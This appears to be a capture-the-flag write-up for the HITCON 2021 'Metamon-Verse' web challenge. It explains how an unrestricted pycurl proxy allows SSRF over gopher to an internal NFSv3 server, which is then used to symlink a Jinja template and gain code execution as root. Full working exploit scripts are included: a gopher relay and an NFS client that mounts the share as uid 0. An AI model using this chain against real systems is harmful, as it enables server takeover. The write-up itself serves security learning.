HITCON CTF 2021 Metamon-Verse Writeup

05-12-2021 - rekter0

Hack the planet! 🍊,web

http://54.250.88.37

# Summary

The flask App is running as root and it's some sort of a webproxy with an NFS share

$ tree 
.
├── app
│   ├── app.py
│   ├── static
│   │   ├── bg.jpg
│   │   └── bootstrap.min.css
│   └── templates
│       └── index.html
├── Dockerfile
├── files
│   ├── entrypoint.sh
│   ├── flag
│   └── readflag

Flag is owned by root in / directory with suid binary /readflag to read it, so an RCE is required

entrypoint.sh

chown root.root /*flag
chmod 400 /flag
chmod 111 /readflag
chmod +s  /readflag

# SSRF

The webproxy would fetch any given URL without any restrictions using pycurl and saves output in a .jpg file

@app.route('/', methods=['POST'])
@login_required
def submit():
    url = request.form.get('url')
    if not url:
        return render_template('index.html', msg='empty url')

    opt_name, opt_value = None, None
    for key, value in request.form.items():
        if key.startswith('CURLOPT_'):
            name = key.split('_', 1)[1].upper()
            try:
                opt_name  = getattr(pycurl, name)
                opt_name  = int(opt_name)
                opt_value = int(value)
            except (AttributeError, ValueError, TypeError):
                break

            break

    name = md5(request.remote_addr.encode() + url.encode()).hexdigest()
    filename = 'static/images/%s.jpg' % name
    with open(filename, 'wb+') as fp:
        c = pycurl.Curl()
        c.setopt(c.URL, url)
        c.setopt(c.WRITEDATA, fp)
        c.setopt(c.CAINFO, certifi.where())

        if opt_name and opt_value:
            c.setopt(opt_name, opt_value)

        try:
            c.perform()
            c.close()
            msg = filename
        except pycurl.error as e:
            msg = str(e)

    return render_template('index.html', msg=msg)

obviously there's an SSRF, with curl supporting gopher protocol we could talk with any protocol raw tcp

# NFS server

The image directory is an NFS share

entrypoint.sh

# service
mkdir /data
ln -s /data/ /app/static/images
mount -t nfs nfs.server:/data /data -o nolock

# Exploitation

The idea was to leverage the SSRF to NFS server to create a symlink for an image file "to be created later" name = md5(request.remote_addr.encode() + url.encode()).hexdigest() to /app/templates/index.html,
this would overwrite the template when we fetch the image URL and the app would reload the templates since we have app.config['TEMPLATES_AUTO_RELOAD'] = True and app is running with root privileges leading to RCE using jinja
NFS v4 protocol was complicated and would require multiple communication within same socket which was not possible with gopher, so we opted for NFS v3 that was way more simple
my solution was to proxy a python NFS client via gopher and saved images
at first it didnt work, until i looked at the client code to find out NFS require the socket to bind to local port also, and we could supply curlopts, it's possible to do so via CURLOPT_LOCALPORT


the exploit needed to do 3 requests
1- Connect to Port mapper and get mount port
2- Connect to mount and get mount Fh
(connect to port mapper again to get NFS port, well, no need its almost always 2049)
3- Connect to NFS and create symlink

proxy.py

from pwn import *
import requests
import base64
import urllib.parse
import re
from random import randint

remoteurl = 'http://54.250.88.37:24765/'
creds  = 'ctf:04ca9aa011a34a9c'

def sendgopher(sport=2049,sdata=b''):
    headers = {"Authorization": "Basic "+base64.b64encode(creds.encode('utf-8')).decode('utf-8')}
    postd = {"url": "gopher://nfs.server:"+str(sport)+"/_"+(urllib.parse.quote(sdata)),"CURLOPT_LOCALPORT":str(randint(500, 1023))}
    x=requests.post(remoteurl, headers=headers, data=postd)
    if ('Your Metamon</a>' in x.text):
        aa = re.findall(r'<a target="_blank" href="(.*?)">',x.text)
        try:
            print(remoteurl+aa[0])
            xx = requests.get(remoteurl+aa[0],stream=True)
            return (xx.raw.read())
        except Exception as e:
            print(str(e))
    else:
        print(x.text)

def runproxyserver(port):
    s = server(port)
    cc = s.next_connection()
    x=cc.recv(1024)
    dogopher=(sendgopher(sport=port,sdata=x+b'\r\n'))
    print(dogopher)
    cc.send(dogopher)
    s.close()

## port mapper
runproxyserver(111)

## mount
runproxyserver(41683)

## nfs
runproxyserver(2049)

client.py

from pyNfsClient import (Portmap, Mount, NFSv3, MNT3_OK)
import time
host = "127.0.0.1"
mount_path = "/data"

portmap = Portmap(host, timeout=3600)
portmap.connect()
mnt_port = portmap.getport(Mount.program, Mount.program_version)
#mnt_port = 49507
print(mnt_port)

auth = {"flavor": 1,
        "machine_name": "host1",
        "uid": 0,
        "gid": 0,
        "aux_gid": list(),
        }

time.sleep(1)
mount = Mount(host=host, port=mnt_port, timeout=3600,auth=auth)
mount.connect()

mnt_res =mount.mnt(mount_path, auth)
if mnt_res["status"] == MNT3_OK:
    print(mnt_res)
    root_fh =mnt_res["mountinfo"]["fhandle"]
    time.sleep(1)
    nfs3 =NFSv3(host, 2049, 3600,auth=auth)
    nfs3.connect()
    nfs3.symlink(root_fh,  "fe55c5040ae73410196e0cc4ac4e4ce7.jpg", "/app/templates/index.html",auth=auth)
else:
    print(mnt_res)

python - flask - ssrf - gopher - nfs - rce

CONTACT



rekter0 © 2022